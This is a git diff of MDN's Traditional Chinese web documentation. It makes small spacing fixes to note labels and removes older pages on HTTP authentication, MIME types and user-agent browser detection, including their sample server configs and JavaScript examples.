diff --git a/files/zh-tw/web/api/formdata/index.md b/files/zh-tw/web/api/formdata/index.md index b8e31017a233ef..2df92837bba8bd 100644 --- a/files/zh-tw/web/api/formdata/index.md +++ b/files/zh-tw/web/api/formdata/index.md @@ -9,7 +9,7 @@ translation_of: Web/API/FormData 實作 `FormData` 的物件可以直接利用 {{jsxref("Statements/for...of", "for...of")}} 語法結構來替代 {{domxref('FormData.entries()', 'entries()')}}:`for (var p of myFormData)` 等同於 `for (var p of myFormData.entries())`。 -> **備註:**此特性適用於 [Web Workers](/zh-TW/docs/Web/API/Web_Workers_API)。 +> **備註:** 此特性適用於 [Web Workers](/zh-TW/docs/Web/API/Web_Workers_API)。 ## 建構式 diff --git a/files/zh-tw/web/css/ime-mode/index.md b/files/zh-tw/web/css/ime-mode/index.md index 31aaec57b56cab..631b9f168f123e 100644 --- a/files/zh-tw/web/css/ime-mode/index.md +++ b/files/zh-tw/web/css/ime-mode/index.md @@ -55,11 +55,11 @@ input[type=password] { } ``` -> **備註:**一般說來,公開的網站不該自行調整輸入法模式的行為。這個特性主要是給網際應用程式使用的。 +> **備註:** 一般說來,公開的網站不該自行調整輸入法模式的行為。這個特性主要是給網際應用程式使用的。 Mac 版的 Gecko 1.9 中,若某欄位設定停用輸入法,則自該欄位移開輸入焦點時並無法自行恢復輸入法狀態,所以若使用 `disabled` 值,Mac 的使用者可能會碰上麻煩。 -> **備註:**別僅僅仰賴停用輸入法的招術來避免使用者輸入擴充字元,因為即使輸入法被停用,使用者依然可自他處剪下擴充字元後貼到表單欄位中。 +> **備註:** 別僅僅仰賴停用輸入法的招術來避免使用者輸入擴充字元,因為即使輸入法被停用,使用者依然可自他處剪下擴充字元後貼到表單欄位中。 ### 規格出處 diff --git a/files/zh-tw/web/http/authentication/index.html b/files/zh-tw/web/http/authentication/index.html deleted file mode 100644 index b6037c3b67ae04..00000000000000 --- a/files/zh-tw/web/http/authentication/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: HTTP authentication -slug: Web/HTTP/Authentication -translation_of: Web/HTTP/Authentication ---- -
HTTP 提供一個用來存取控制及身分驗證框架. 最普遍的 HTTP 身分驗證是基於"Basic" schema. 本頁將介紹HTTP framework for authentication 以及如何限制存取你的伺服器 and HTTP "Basic" schema.
- -{{RFC("7235")}} 定義了HTTP 身分驗證框架,它可以被使用於server to {{glossary("challenge")}} a client request 以及 client 提供身分驗證資訊. The challenge and response flow works like this: The server responds to a client with a {{HTTPStatus("401")}} (Unauthorized) response status and provides information on how to authorize with a {{HTTPHeader("WWW-Authenticate")}} response header containing at least one challenge. A client that wants to authenticate itself with a server can then do so by including an {{HTTPHeader("Authorization")}} request header field with the credentials. Usually a client will present a password prompt to the user and will then issue the request including the correct Authorization
header.
In the case of a "Basic" authentication like shown in the figure, the exchange must happen over an HTTPS (TLS) connection to be secure.
- -The same challenge and response mechanism can be used for proxy authentication. In this case, it is an intermediate proxy that requires authentication. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server.
- -If a (proxy) server receives valid credentials that are not adequate to gain access for a given resource, the server should respond with the {{HTTPStatus("403")}} Forbidden
status code. Unlike {{HTTPStatus("401")}} Unauthorized
or {{HTTPStatus("407")}} Proxy Authentication Required
, authentication is impossible for this user.
- -
A potential security hole that has recently been fixed by browsers is authentication of cross-site images. From Firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.
- -Browsers use utf-8
encoding for usernames and passwords. Firefox used to use ISO-8859-1
, but changed over to utf-8
for parity with other browsers, and to avoid potential problems as described in {{bug(1419658)}}.
- -
WWW-Authenticate
and Proxy-Authenticate
headersThe {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They need to specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials. The syntax for these headers is the following:
- -WWW-Authenticate: <type> realm=<realm> -Proxy-Authenticate: <type> realm=<realm> -- -
Here, <type>
is the authentication scheme ("Basic" is the most common scheme and introduced below). The realm is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.
Authorization
and Proxy-Authorization
headersThe {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the type is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.
- -Authorization: <type> <credentials> -Proxy-Authorization: <type> <credentials> -- -
The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.
- -The most common authentication scheme is the "Basic" authentication scheme which is introduced in more details below. IANA maintains a list of authentication schemes, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:
- -AWS4-HMAC-SHA256 (see AWS docs).
-The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.
- -As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS / TLS should be used in conjunction with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.
- -To password-protect a directory on an Apache server, you will need a .htaccess
and a .htpasswd
file.
The .htaccess
file typically looks like this:
AuthType Basic -AuthName "Access to the staging site" -AuthUserFile /path/to/.htpasswd -Require valid-user- -
The .htaccess
file references a .htpasswd
file in which each line contains of a username and a password separated by a colon (":"). You can not see the actual passwords as they are encrypted (md5 in this case). Note that you can name your .htpasswd
file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to .ht*
files).
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. -user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ -- -
For nginx, you will need to specify a location that you are going to protect and the auth_basic
directive that provides the name to the password-protected area. The auth_basic_user_file
directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above.
location /status { - auth_basic "Access to the staging site"; - auth_basic_user_file /etc/apache2/.htpasswd; -}- -
Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:
- -https://username:password@www.example.com/- -
The use of these URLs is deprecated. In Chrome, the username:password@
part in URLs is even stripped out for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."
媒體類別(多用途網際網路郵件擴展或是MIME類別)是一種表示文件、檔案或各式位元組的標準。它被定義並規範在IETF的 {{RFC(6838)}}。
- -國際網路號碼分配局(IANA) 負責所有官方的MIME類別,你可以從他們的 Media Types 頁面找到最新且完整的類別清單。
- -重要: 瀏覽器會採用MIME類別, 而非副檔名 ,來判定如何對URL進行處理。所以伺服器要在回應的{{HTTPHeader("Content-Type")}}裡放入正確的MIME類別,否則瀏覽器很有可能轉譯錯誤或是無法正常運作,造成下載的檔案無法被正常處理。
-最簡單的MIME類別由主類別(type)和子類別(subtype)組成。兩個都是字串,並由一個斜線(/)相接,且不能包含任何空格:
- -type/subtype- -
主類別(type)代表廣泛性的分類,譬如video
或 text
。子類別(subtype) 則定義該資料精確的MIME類別。例如MIME 類別為text
, 子類可能會是 plain
(純文字), html
({{Glossary("HTML")}} 源碼), 或calendar
(iCalendar/.ics
) 檔案。
每一種主類別都可能有一組自己的子類別,MIME類別永遠都有主類別和子類別,從來不會只有單一個。
- -後面加上的參數可以提供更多細節:
- -type/subtype;parameter=value- -
例如一個MIME類別的主類是 text
, 選擇性的 charset
參數可以用來指明資料種所使用的字元集。如果沒有指明charset
,預設使用 {{Glossary("ASCII")}} (US-ASCII
) ,除非被{{Glossary("user agent", "user agent's")}} 的設定覆蓋過去。 要指明一個UTF-8 的文字檔,可以使用 text/plain;charset=UTF-8
的MIME類別。
MIME 類別對大小寫不敏感,但通常都會使用小寫。
- -There are two classes of type: discrete and multipart. Discrete types are types which represent a single file or medium, such as a single text or music file, or a single video. A multipart type is one which represents a document that's comprised of multiple component parts, each of which may have its own individual MIME type; or, a multipart type may encapsulate multiple files being sent together in one transaction. For example, multipart MIME types are used when attaching multiple files to an email.
- -The discrete types currently registered with the IANA are:
- -application
List at IANAapplication/octet-stream
. Other common examples include application/pdf
, application/pkcs8
, and application/zip
.audio
List at IANAaudio/mpeg
, audio/vorbis
.example
example
can also be used as a subtype; for instance, in an example related to working with audio on the web, the MIME type audio/example
can be used to indicate that the type is a placeholder and should be replaced with an appropriate one when using the code in the real world.font
List at IANAfont/woff
, font/ttf
, and font/otf
.image
List at IANAimage/jpeg
, image/png
, and image/svg+xml
.model
List at IANAmodel/3mf
and model/vml
.text
List at IANAtext/plain
, text/csv
, and text/html
.video
List at IANAvideo/mp4
).For text documents without a specific subtype, text/plain
should be used. Similarly, for binary documents without a specific or known subtype, application/octet-stream
should be used.
Multipart types indicate a category of document broken into pieces, often with different MIME types; they can also be used — especially in email scenarios — to represent multiple, separate files which are all part of the same transaction. They represent a composite document.
- -With the exception of multipart/form-data
, used in the {{HTTPMethod("POST")}} method of HTML Forms, and multipart/byteranges
, used with {{HTTPStatus("206")}} Partial Content
to send part of a document, HTTP doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "Save As" window if it doesn't know how to display the document).
There are two multipart types:
- -message
List at IANAmessage/rfc822
(for forwarded or replied-to message quoting) and message/partial
to allow breaking a large message into smaller ones automatically to be reassembled by the recipient.multipart
List at IANAmultipart/form-data
(for data produced using the {{domxref("FormData")}} API) and multipart/byteranges
(defined in {{RFC(7233, "5.4.1")}} and used with {{Glossary("HTTP")}}'s {{HTTPStatus(206)}} "Partial Content" response returned when the fetched data is only part of the content, such as is delivered using the {{HTTPHeader("Range")}} header).這是二進制檔案的預設類別,代表未知的二進制檔案,通常瀏覽器都不執行或是會詢問是否要執行。They treat it as if the {{HTTPHeader("Content-Disposition")}} header was set to attachment
, and propose a "Save As" dialog.
文字檔案的預設類別。就算是未知的文字檔案,瀏覽器都先假設他們是可以被呈現於畫面的。
- -注意 text/plain
不代表"任何一種文字檔案"。例如從用於表示CSS檔案的{{HTMLElement("link")}}元素載了一個 text/plain
檔案,瀏覽器不會識別該檔案為一個有效的CSS檔案。CSS的MIME類別必須要使用 text/css
。
用來套用在網頁的 CSS 檔案一定要配合 text/css
做傳輸。如果伺服器沒有將副檔名 .css
視為 CSS 檔案,伺服器有可能會使用 text/plain
或是 application/octet-stream
的 MIME 型態來傳輸檔案,而導致這些檔案不被大多數的瀏覽器當成 CSS 而被忽略。
All HTML content should be served with this type. Alternative MIME types for XHTML (like application/xhtml+xml
) are mostly useless nowadays.
Note: Use application/xml
or application/xhtml+xml
if you want XML’s strict parsing rules, <![CDATA[…]]>
sections, or elements that aren't from HTML/SVG/MathML namespaces.
Per the HTML specification, JavaScript files should always be served using the MIME type text/javascript
. No other values are considered valid, and using any of those may result in scripts that do not load or run.
For historical reasons, the MIME Sniffing Standard (the definition of how browsers should interpret media types and figure out what to do with content that doesn't have a valid one) allows JavaScript to be served using any MIME type that essentially matches any of the following:
- -application/javascript
application/ecmascript
application/x-ecmascript
{{Non-standard_Inline}}application/x-javascript
{{Non-standard_Inline}}text/javascript
text/ecmascript
text/javascript1.0
{{Non-standard_Inline}}text/javascript1.1
{{Non-standard_Inline}}text/javascript1.2
{{Non-standard_Inline}}text/javascript1.3
{{Non-standard_Inline}}text/javascript1.4
{{Non-standard_Inline}}text/javascript1.5
{{Non-standard_Inline}}text/jscript
{{Non-standard_Inline}}text/livescript
{{Non-standard_Inline}}text/x-ecmascript
{{Non-standard_Inline}}text/x-javascript
{{Non-standard_Inline}}Note: Even though any given {{Glossary("user agent")}} may support any or all of these, you should only use text/javascript
. It's the only MIME type guaranteed to work now and into the future.
Some content you find may have a charset
parameter at the end of the text/javascript
media type, to specify the character set used to represent the code's content. This is not valid, and in most cases will result in a script not being loaded.
Files whose MIME type is image
contain image data. The subtype specifies which specific image file format the data represents. Only a few image types are used commonly enough to be considered safe for use on web pages:
{{page("en-US/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}}
- -As is the case for images, HTML doesn't mandate that web browsers support any specific file and codec types for the {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements, so it's important to consider your target audience and the range of browsers (and versions of those browsers) they may be using when choosing the file type and codecs to use for media.
- -Our media container formats guide provides a list of the file types that are commonly supported by web browsers, including information about what their special use cases may be, any drawbacks they have, and compatibility information, along with other details.
- -The audio codec and video codec guides list the various codecs that web browsers often support, providing compatibility details along with technical information such as how many audio channels they support, what sort of compression is used, and what bit rates and so forth they're useful at. The codecs used by WebRTC guide expands upon this by specifically covering the codecs supported by the major web browsers, so you can choose the codecs that best cover the range of browsers you wish to support.
- -As for MIME types of audio or video files, they typically specify the container format (file type). The optional codecs parameter can be added to the MIME type to further specify which codecs to use and what options were used to encode the media, such as codec profile, level, or other such information.
- -The most commonly used MIME types used for web content are listed below. This isn't a complete list of all the types that may be available, however. See the media container formats guide for that.
- -MIME type | -Audio or video type | -
---|---|
audio/wave - audio/wav - audio/x-wav - audio/x-pn-wav |
- An audio file in the WAVE container format. The PCM audio codec (WAVE codec "1") is often supported, but other codecs have limited support (if any). | -
audio/webm |
- An audio file in the WebM container format. Vorbis and Opus are the codecs officially supported by the WebM specification. | -
video/webm |
- A video file, possibly with audio, in the WebM container format. VP8 and VP9 are the most common video codecs; Vorbis and Opus the most common audio codecs. | -
audio/ogg |
- An audio file in the Ogg container format. Vorbis is the most common audio codec used in such a container; however, Opus is now supported by Ogg as well. | -
video/ogg |
- A video file, possibly with audio, in the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec, although Opus is becoming more common. | -
application/ogg |
- An audio or video file using the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec. | -
The multipart/form-data
type can be used when sending the values of a completed HTML Form from browser to server.
As a multipart document format, it consists of different parts, delimited by a boundary (a string starting with a double dash --
). Each part is its own entity with its own HTTP headers, {{HTTPHeader("Content-Disposition")}}, and {{HTTPHeader("Content-Type")}} for file uploading fields.
Content-Type: multipart/form-data; boundary=aBoundaryString -(other headers associated with the multipart document as a whole) - ---aBoundaryString -Content-Disposition: form-data; name="myFile"; filename="img.jpg" -Content-Type: image/jpeg - -(data) ---aBoundaryString -Content-Disposition: form-data; name="myField" - -(data) ---aBoundaryString -(more subparts) ---aBoundaryString-- - -- -
The following <form>
:
<form action="http://localhost:8000/" method="post" enctype="multipart/form-data"> - <label>Name: <input name="myTextField" value="Test"></label> - <label><input type="checkbox" name="myCheckBox"> Check</label> - <label>Upload file: <input type="file" name="myFile" value="test.txt"></label> - <button>Send the file</button> -</form>- -
will send this message:
- -POST / HTTP/1.1 -Host: localhost:8000 -User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-US,en;q=0.5 -Accept-Encoding: gzip, deflate -Connection: keep-alive -Upgrade-Insecure-Requests: 1 -Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 -Content-Length: 465 - ------------------------------8721656041911415653955004498 -Content-Disposition: form-data; name="myTextField" - -Test ------------------------------8721656041911415653955004498 -Content-Disposition: form-data; name="myCheckBox" - -on ------------------------------8721656041911415653955004498 -Content-Disposition: form-data; name="myFile"; filename="test.txt" -Content-Type: text/plain - -Simple file. ------------------------------8721656041911415653955004498-- - -- -
The multipart/byteranges
MIME type is used to send partial responses to the browser.
When the {{HTTPStatus("206")}} Partial Content
status code is sent, this MIME type indicates that the document is composed of several parts, one for each of the requested ranges. Like other multipart types, the {{HTTPHeader("Content-Type")}} uses a boundary
to separate the pieces. Each piece has a {{HTTPHeader("Content-Type")}} header with its actual type and a {{HTTPHeader("Content-Range")}} of the range it represents.
HTTP/1.1 206 Partial Content
-Accept-Ranges: bytes
-Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
-Content-Length: 385
-
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 100-200/1270
-
-eta http-equiv="Content-type" content="text/html; charset=utf-8" />
- <meta name="vieport" content
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 300-400/1270
-
--color: #f0f0f2;
- margin: 0;
- padding: 0;
- font-family: "Open Sans", "Helvetica
---3d6b6a416f9b5--
-
-Most web servers send unrecognized resources as the application/octet-stream
MIME type. For security reasons, most browsers do not allow setting a custom default action for such resources, forcing the user to save it to disk to use it.
Some common incorrect server configurations:
- -RAR-compressed files. In this case, the ideal would be the true type of the original files; this is often impossible as .RAR files can hold several resources of different types. In this case, configure the server to send application/x-rar-compressed
.
Audio and video. Only resources with the correct MIME Type will be played in {{HTMLElement("video")}} or {{HTMLElement("audio")}} elements. Be sure to specify the correct media type for audio and video.
-Proprietary file types. Avoid using application/octet-stream
as most browsers do not allow defining a default behavior (like "Open in Word") for this generic MIME type. A specific type like application/vnd.mspowerpoint
lets users open such files automatically in the presentation software of their choice.
In the absence of a MIME type, or in certain cases where browsers believe they are incorrect, browsers may perform MIME sniffing — guessing the correct MIME type by looking at the bytes of the resource.
- -Each browser performs MIME sniffing differently and under different circumstances. (For example, Safari will look at the file extension in the URL if the sent MIME type is unsuitable.) There are security concerns as some MIME types represent executable content. Servers can prevent MIME sniffing by sending the {{HTTPHeader("X-Content-Type-Options")}} header.
- -MIME types are not the only way to convey document type information:
- -47 49 46 38 39
hexadecimal value (GIF89
), and PNG files with 89 50 4E 47
(.PNG
). Not all file types have magic numbers, so this is not 100% reliable either.針對不同的瀏覽器給予不同的網頁或服務,通常不是好主意:網路的原意,是要讓所有人都能訪問,無論他們使用何種瀏覽器或何種設備。你的網站可以透過基於(瀏覽器)功能可用性的漸進增強法開發,而不是特別指定某種瀏覽器。
- -不過瀏覽器與標準並不是完美的,有些特殊情況依舊需要偵測瀏覽器。透過用戶代理(user agent)去偵測瀏覽器看似簡單,要做好卻頗為困難。這份文件會盡可能引導你正確處理這種事。
- -因為很重要所以再說一次:實行用戶代理嗅探(User Agent sniffing)通常不是好主意。問題通常都會有更好、更通用的解決方法!
-在考慮透過用戶代理字串,去偵測使用瀏覽器時,首先要盡可能避免這種用法。先從認清為什麼要這麼做開始。
- -如果要避免用戶代理偵測,有以下選項!
- -// 這個程式以特殊表示法把字串分開來 - -if (navigator.userAgent.indexOf("Chrome") !== -1){ - // 好,這用戶應該是支援 look-behind regexps - // 不要在不支援該功能的瀏覽器使用 /(?<=[A-Z])/ - // 因為瀏覽器都會解析整個腳本,包括從未執行過的代碼部分。 - // 進而讓不支援該功能的瀏覽器拋出語法錯誤。 - var camelCaseExpression = new RegExp("(?<=[A-Z])"); - var splitUpString = function(str) { - return (""+str).split(camelCaseExpression); - }; -} else { - /* 這個語法的性能差得多,但能動 */ - var splitUpString = function(str){ - return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g); - }; -} -console.log(splitUpString("fooBare")); // ["fooB", "are"] -console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]- -
但這程式其實很糟糕、考慮也很不周到。如果 Chrome 把 lookbehind 這功能移走呢?如果其他瀏覽器支援了 lookbehind 正規表達式呢?如果其他瀏覽器在用戶代理名字內,混入了 Chrome 呢?這個列表會因此,讓可怕的錯誤不斷發生。因此,你應該用以下的功能檢測:
- -var isLookBehindSupported = false; -try { - isLookBehindSupported = !!new RegExp("(?<=)"); -} catch(e){ - // 不支援的瀏覽器會出現 lookbehind expressions err -} -var splitUpString = isLookBehindSupported ? function(str) { - return (""+str).split(new RegExp("(?<=[A-Z])")); -} : function(str) { - return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g); -}; -- -
這程式一定會讓瀏覽器在不嗅探用戶代理的情況下測試功能。要作類似這樣的事情,完全沒有動用用戶代理嗅探的理由。
- -最後,上面的程式碼還附帶一個必須考量的,有關跨瀏覽器的關鍵問題:不要在不支援的瀏覽器,使用到要測試的API。這聽來簡單,但有時候不是這樣:同樣以上面為例,在簡寫正規表達式使用 lookbehind(如 /reg/igm
)會讓不支援該功能瀏覽器的解析器出錯。因此,你需要使用 new RegExp("(?<=look_behind_stuff)"); 而非 /(?<=look_behind_stuff)/,哪怕 lookbehind 已經支援了。
檢查是否透過行動設備上網,大概是用戶代理嗅探最常見的用途與誤用。偵測後要作什麼事,卻往往是被忽略的問題所在。開發者通常透過用戶代理嗅探,將用戶設備導向至易於觸碰的小螢幕,以便加強網站體驗。
- -用戶代理這方面有時有用,但問題是所有設備不完全相同:有些行動設備的尺寸很大、有些桌機有一小塊觸控螢幕、有些人使用完全是不同世界的智慧型電視、甚至還有藉由翻轉平板、來動態改變設備長寬的人!
- -因此,用戶代理嗅探絕不是好辦法。但是,還有更好的選擇:例如使用 Navigator.maxTouchPoints 來檢查用戶設備有沒有觸控螢幕;接著在 if (!("maxTouchPoints" in Navigator)) { /*程式寫在這*/} 時,就切回用戶代理檢查。利用這個訊息,來檢查設備有沒有觸控螢幕。
- -不要為了觸控設備,就換掉整個排版。這只會讓自己更費工、維護更頭痛;而是加點讓觸摸更便利的東西:像是好按的按鈕(這可以透過在 CSS 增加字體大小完成)。以下是針對 #exampleButton 在手機環境時,增加 1em 的程式範例:
-var hasTouchScreen = false; -if ("maxTouchPoints" in navigator) { - hasTouchScreen = navigator.maxTouchPoints > 0; -} else if ("msMaxTouchPoints" in navigator) { - hasTouchScreen = navigator.msMaxTouchPoints > 0; -} else { - var mQ = window.matchMedia && matchMedia("(pointer:coarse)"); - if (mQ && mQ.media === "(pointer:coarse)") { - hasTouchScreen = !!mQ.matches; - } else if ('orientation' in window) { - hasTouchScreen = true; // depedicated, but good fallback - } else { - // Only as a last resort, fall back to user agent sniffing - var UA = navigator.userAgent; - hasTouchScreen = ( - /\b(BlackBerry|webOS|iPhone|IEMobile)\b/i.test(UA) || - /\b(Android|Windows Phone|iPad|iPod)\b/i.test(UA) - ); - } -} -if (hasTouchScreen) - document.getElementById("exampleButton").style.padding="1em";-
針對螢幕尺寸,則使用 window.innerWidth 與 window.addEventListener("resize", function(){ /*更新螢幕尺寸依賴的東西*/ })。
- -不要刪減小螢幕能看到的資訊,這只會激怒被逼著切到桌面版的用戶們;而是應該針對小螢幕,提供行列更少,但頁面更長的資訊;針對大螢幕,則提供行列更多,但頁面更短的資訊。這種效果能透過 flexboxes 實現。如果需要有限支援舊版本,請使用floats 屬性。
-另外,試著把不相關或不重要的資訊放到下面、然後把資料放得有意義。然後雖然有點離題,但下面的詳細示例,可能會給你有力的見解和想法,放棄用戶代理嗅探。
- -我們先想像一個由各種貓貓或狗狗的訊息框,所組成的頁面;每個訊息框都有圖片、概覽、還有歷史趣聞;而圖片即使在大螢幕上,也要保持最大的合理尺寸。為了讓內容有意義的排列在一起,所有的貓貓訊息框都和狗狗訊息框分開、兩種動物都不會混在一起。在大螢幕上,會節省具有多列的空間,從而減少了圖片左右兩側的間距。訊息框則會透過平分而被拆分為多列。
- -現在我們能假設在原始碼裡面,狗狗訊息框都在上面、而貓貓訊息框都在下面。而這兩個框框都在同一個父元素之下。很明顯,有一個狗狗訊息框,就在貓貓訊息框的上面。第一個方法,就是使用水平的 Flexbox 把內容組合起來。這樣,當頁面顯示給最終用戶時,狗狗訊息框就在頁面上方、而貓貓訊息框就在頁面下方;第二個方法,就是使用 Column layout and resent 把所有的狗狗與貓貓排到右邊。在這種情況下,就能給沒有 flexboxes/multicolumns 的老舊版本提供適當的呈現:他們會呈現一列非常寬的框。
- -再考慮一下這個例子:如果有人是想來看貓貓的,那我們就可以在原始碼裡面,把貓貓放到狗狗的上面。這樣一來,更多的人就可以在更小的螢幕上(內容折疊成一列)更快找到需要的內容。
-接著,確保程式是動態性的。用戶可以翻轉手機,以改變頁面長寬;或是未來使用某些類似功能的怪設備。不要為了用戶翻轉行為焦頭額爛、在使用開發工具確實檢查前也不要自滿。實踐的最佳辦法,就是在一個函式內透過螢幕尺寸,把所有可移動內容的程式分開。而分開這些程式的觸發點,則放在頁面載入、或觸動 resize 事件時。如果載入新佈局頁面前,需要在函式內計算很多東西,請考慮對事件偵聽器使用 debouncing 以避免過度呼叫。
- -另請注意,(max-width: 25em)
, not all and (min-width: 25em)
, and (max-width: 24.99em)
是不一樣的:(max-width: 25em)
會排除 (max-width: 25em)
;而 not all and (min-width: 25em)
則包含了 (max-width: 25em)
。(max-width: 24.99em)
是仆街版的 not all and (min-width: 25em)
。不要用 (max-width: 24.99em)
,因為在字型很大、或解析度很高時,版面可能會跑掉。謹慎選擇正確的 media query、以及在 Javascript 正確使用 >=, <=, >, < 等運算符。因為 Javascript 可能把這些東西都混為一談,然後你的網站就會在某些尺寸下亂閃亂排。因此,徹底測試在不同寬高下,網站會怎麼改變,以確保佈局不出錯。
在探討所有能替代用戶代理嗅探的方法後,還是可能會有合理的理由,用到用戶代理嗅探。
- -其中一個例子,就是透過用戶代理嗅探,提供觸控螢幕的支援。詳請參閱上面的「行動設備偵測」章節。另一個例子,則是修復在沒有自動更新功能的瀏覽器上,所發生的錯誤。Windows 的 Internet Explorer 與 iOS 的 Webkit 就是個好實例。
- -Internet Explorer 在第九代以前,有著各種難以置信的問題。問題涵蓋了渲染、CSS、API 等方方面面。不過 IE9 之前的版本,是個相當機車特殊的例外。我們可以輕易透過該瀏覽器的特定功能,檢測到相關訊息。
蘋果強迫所有瀏覽器使用 Webkit 核心,所以 Webkit 的情形更糟糕;用戶也無法在舊設備上,得到更新的瀏覽器。大多數錯誤都能找出來,但某些錯誤,需要花更多時間抓出來。在這種情況下,使用用戶代理嗅探來可能是更有益的。
- -var UA=navigator.userAgent, isWebkit=/\b(iPad|iPhone|iPod)\b/.test(UA) && - /WebKit/.test(UA) && !/Edge/.test(UA) && !window.MSStream; - -var mediaQueryUpdated = true, mqL = []; -function whenMediaChanges(){mediaQueryUpdated = true} - -var listenToMediaQuery = isWebkit ? function(mQ, f) { - if(/height|width/.test(mQ.media)) mqL.push([mQ, f]); - mQ.addListener(f), mQ.addListener(whenMediaChanges); -} : function(){}; -var destroyMediaQuery = isWebkit ? function(mQ) { - for (var i=0,len=mqL.length|0; i<len; i=i+1|0) - if (mqL[i][0] === mQ) mqL.splice(i, 1); - mQ.removeListener(whenMediaChanges); -} : listenToMediaQuery; - -var orientationChanged = false; -addEventListener("orientationchange", function(){ - orientationChanged = true; -}, PASSIVE_LISTENER_OPTION); - -addEventListener("resize", setTimeout.bind(0,function(){ - if (orientationChanged && !mediaQueryUpdated) - for (var i=0,len=mqL.length|0; i<len; i=i+1|0) - mqL[i][1]( mqL[i][0] ); - mediaQueryUpdated = orientationChanged = false; -},0));- -
因為用戶代理字串的差異處並沒有統一,這方面會頗為棘手。
- -當別人說要「偵測瀏覽器」的時候,他們通常要的是「偵測排版引擎」:你真的要偵測到用戶在使用 Firefox 抑或相對應的 SeaMonkey,或偵測到在使用 Chrome 抑或相對應的 Chromium 嗎?還是說只要偵測瀏覽器用的是 Gecko 或是 WebKit 排版引擎?如果你要的是後者,請直接看後面的章節。
- -雖然有 Internet Explorer 這個明顯的例外,多數瀏覽器通常會把瀏覽器名字與版本用成 BrowserName/VersionNumber(瀏覽器名/版本名)格式。然而,因為用戶代理不是只有瀏覽器名提供這種格式,你不能找到瀏覽器的名字,你只能檢查該名字是否為你要尋找的目標。也請注意瀏覽器還會「造假」:例如 Chrome 就會同時宣稱自己是 Chrome 與 Safari。因此,如果要找出 Safari 瀏覽器,你就要在找出 Safari 字串的同時,排除掉 Chrome 字串。此外,Chromium 也常常宣稱自己是 Chrome、而 Seamonkey 有時也會宣稱自己是 Firefox。
- -另請注意,不要針對 BrowserName 使用簡單的正規表達式,因為用戶代理可能有不是 Keyword/Value 的字串。例如 Safari 與 Chrome 在字串內就包含了 like Gecko(類似 Gecko)。
- -- | 必定包含 | -必定不包含 | -註解 | -
---|---|---|---|
Firefox | -Firefox/xyz | -Seamonkey/xyz | -- |
Seamonkey | -Seamonkey/xyz | -- | - |
Chrome | -Chrome/xyz | -Chromium/xyz | -- |
Chromium | -Chromium/xyz | -- | - |
Safari | -Safari/xyz | -Chrome/xyz or Chromium/xyz | -Safari 給出了兩個版本號、一個是偏技術性的 Safari/xyz token,另一個則是偏向用戶友好的 Version/xyz token | -
Opera | -
- OPR/xyz [1] - -Opera/xyz [2] - |
- - |
- [1] Opera 15+ (Blink-based engine) - -[2] Opera 12- (Presto-based engine) - |
-
Internet Explorer | -; MSIE xyz; | -- | Internet Explorer 並不使用 BrowserName/VersionNumber 格式 | -
當然這裡不保證沒有其他瀏覽器,騎劫其他瀏覽器的可能,例如過去的 Chrome 就騎劫過 Safari。這也是為什麼透過用戶代理字串來探測瀏覽器是靠不住的,它也只能用在探測版本號(不太可能有騎劫過去版本號的情形)。
- -瀏覽器版本通常,但不是每次,都把數值放在用戶代理字串的 BrowserName/VersionNumber token。把版本號放在 MSIE 之後的 Internet Explorer、還有加了 Version/VersionNumber token 的第十代以後 Opera 版本就是明顯的例子。
- -再次強調,因為無法確保尋找的瀏覽器會包含有效的數字,請確認你針對的瀏覽器,選取了正確的 token。
- -如同前述,多數情況下,找尋排版引擎(rendering engine)更為恰當。這能讓少有人知的瀏覽器,不致遭到排除在外。使用某一種排版引擎的瀏覽器,共享相同的網頁瀏覽:這種「一處有效、處處有效」的假設,是很公平的。
